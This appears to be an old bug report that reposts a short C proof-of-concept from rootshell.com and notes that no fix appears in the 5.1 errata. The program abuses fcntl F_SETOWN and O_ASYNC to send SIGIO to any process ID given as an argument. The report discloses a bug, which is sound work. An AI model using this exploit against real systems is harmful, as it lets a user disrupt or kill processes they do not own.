This was posted on rootshell.com, but I still don't see a
fix for it posted on the 5.1 errata.

The component is only a guess.

here is the source from the post on rootshell:

#include <fcntl.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
  int s, p;
  if (argc != 2) {
    fputs("Please specify a pid to send signal to.\n",
stderr);
    exit(0);
  } else {
    p = atoi(argv[1]);
  }
  fcntl(0,F_SETOWN,p);
  s = fcntl(0,F_GETFL,0);
  fcntl(0,F_SETFL,s|O_ASYNC);
  printf("Sending SIGIO - press enter.\n");
  getchar();
  fcntl(0,F_SETFL,s&~O_ASYNC);
  printf("SIGIO send attempted.\n");
  return 0;
}